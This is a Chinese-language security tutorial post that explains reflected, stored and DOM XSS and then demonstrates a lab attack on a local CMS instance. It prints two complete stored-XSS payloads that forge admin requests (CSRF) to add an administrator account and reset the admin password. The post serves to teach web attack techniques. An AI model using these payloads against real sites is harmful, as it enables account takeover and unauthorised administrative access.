XSS与CSRF的联合使用 – 作者:和风sukf

XSS漏洞简介
XSS注入漏洞又称为”跨站脚本攻击(Cross Site Scripting)”,为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所以将跨站脚本攻击缩写为XSS。XSS注入攻击的原理其实和sql注入攻击的原理很相似,攻击者将恶意的Script代码插入到网页中,当正常用户浏览该页面时,被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。
XSS分类
跨站脚本注入漏洞是由于WEB服务器读取了用户可控数据输出到HTML页面的过程中没有进行安全处理导致的,用户可控数据包括url、参数、HTTP头部字段(cookie、referer、HOST等)、HTTP请求正文等。
(1)反射型XSS:攻击者输入可控数据到HTML页面中(通常是url),所以输入的数据没有被存储,只能在单次请求中生效。
(2)存储型XSS:攻击者输入可控数据到HTML页面(通常是POST表单:评论、留言板、登录框等),所以输入的数据会被存储到数据库中,由于数据经过存储,可以持续被读取出来,攻击的次数比反射型XSS多。
(3)DOM-XSS:攻击者可控数据通过JavaScript和DOM技术输出到HTML中,其实是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。
XSS危害
(1)流量劫持,利用木马修改浏览器不停的弹出新的窗口强制性的让用户访问指定的网站,为指定网站增加流量
(2)获取用户cookie信息,盗取账号(普通用户、管理员等账号)
(3)篡改、删除页面信息(钓鱼操作)
(4)配合CSRF攻击,实施进一步的攻击,控制被害人的电脑访问其他网站

1626424878_60f1462eb0713b7e4ec48.png!small步骤一:

由于在对管理员帐号编辑的地方,进行密码修改时没有进行2次校验或确认,存在CSRF漏洞,使用XSS脚本对该CSRF漏洞进行利用

通过burp将需要伪造的http请求固有的属性复制到自己编写的代码中

CSRF跨站请求伪造:利用http请求将服务器信赖的http请求发送给服务器,服务器识别之后作处理

以下为CSRF与script的利用,通过打开增加管理员的界面,将请求头部发送和发送新的管理员账户密码

<script>function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://192.168.159.1/510/510cms/admin/adminadd.php?admin=add",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("name=Test&passwd=abc123&remark= test&mid=2&adminsubmit=%CC%E1%BD%BB");
}
loadXMLDoc();
</script>

1626425088_60f14700781184952047b.png!small

将script代码在留言板发送给管理员,管理员查看留言板之后服务器会跳转界面执行指令

1626425161_60f147498313ff86d97ee.png!small

1626425165_60f1474d868c8f1f7edd9.png!small

下图为添加成功的su管理员

1626425170_60f147524282e414b4886.png!small

通过burp代理拦截,可以查看登陆执行的结果

1626425176_60f14758ec5083f97aff0.png!small

步骤二:

同理可得,将需要伪造的页面通过burp拦截下来,获取其中固有的属性,再将这些属性参数复制到编码中

下图代码为打开修改密码的页面

<script>function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://192.168.159.1/510/510cms/admin/adminadd.php?Id=1",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("name=Test&passwd=123456&remark=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1&mid=1&adminsubmit=%CC%E1%BD%BB");
}
loadXMLDoc();
</script>

发送http头部请求和发送更改密码的指令,将账户admin的密码改为123456

1626425182_60f1475e027a9fb15c085.png!small

发送到留言板,管理员查看留言板会跳转页面执行指令

1626425197_60f1476d224bc3e4a13b6.png!small
1626425201_60f14771387fc5ec5c92d.png!small
登入原始的账户和密码,通过burp可以看到密码输入不正确,说明密码已经被服务器改了

1626425206_60f14776b6085f12afaaf.png!small

再输入自己改的密码123456,发现登入成功1626425211_60f1477bcb6d4574a5b63.png!small

来源:freebuf.com 2021-07-29 17:21:28 by: 和风sukf

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论